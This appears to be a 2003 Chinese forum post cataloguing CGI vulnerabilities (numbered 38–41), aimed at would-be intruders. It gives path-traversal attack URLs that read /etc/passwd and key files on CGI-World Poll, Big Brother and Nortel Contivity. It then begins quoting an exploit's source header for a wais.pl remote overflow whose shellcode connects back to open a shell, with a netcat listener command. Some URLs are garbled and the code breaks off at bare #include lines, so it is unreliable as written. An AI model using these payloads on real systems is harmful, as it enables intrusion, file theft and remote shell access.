|
CGI漏洞(23) 三十八.CGI-World Poll
任意远程用户通过GET请求指定。导致非授权的文件访问:
 http://www.victim.com/cgi-bin/po ;... _dir=/etc/passwd%00 三十九.Big Brother
Big Brother 1.4H 以及更低版本存在一个安全问题，由于一个脚本对输入变量$HOSTSVC 缺乏正确检查，
导致远程用户可以指定路径来浏览任意系统文件内容。 http://www.victim.com/cgi-bin/bb ;... ../../../etc/passwd
四十.Nortel Contivity package CGI 入侵者或恶意的用户将能使用类似以下的URL查看到系统上的所有文件。
http://x.x.x.x/manage/cgi/cgiproc?Nocfile=...nd/path/of/file.
(入侵者感兴趣的文件也许将会是：/system/filelist.dat, /system/version.dat,/system/keys,
/system/core, etc)
(发帖时间:2003:9:15 07:46:07)
---玟ζ玟 (6): 四十一.wais.pl + waisq CGI
wais.pl + waisq是运行在NCSA服务器上的一个WAIS接口CGI,在这个程序内部存在一个
漏洞,能使攻击者通过远程溢出获得一个具有web server相同权限的shell。
/*
OnWaisKlote.c - NCSA wais.pl + waisq remote overflow - by Scrippie The shellcode makes a connetion to the given IP and spawns a shell on port
27002. It‘s recommended to have a listening netcat ready on this port.
Ie. do a "nc -l -p 27002" on your machine, and run the exploit on the target
If everything works out, it‘ll connect and spawn a shell.
*/ #include
#include
#include
#include
| 
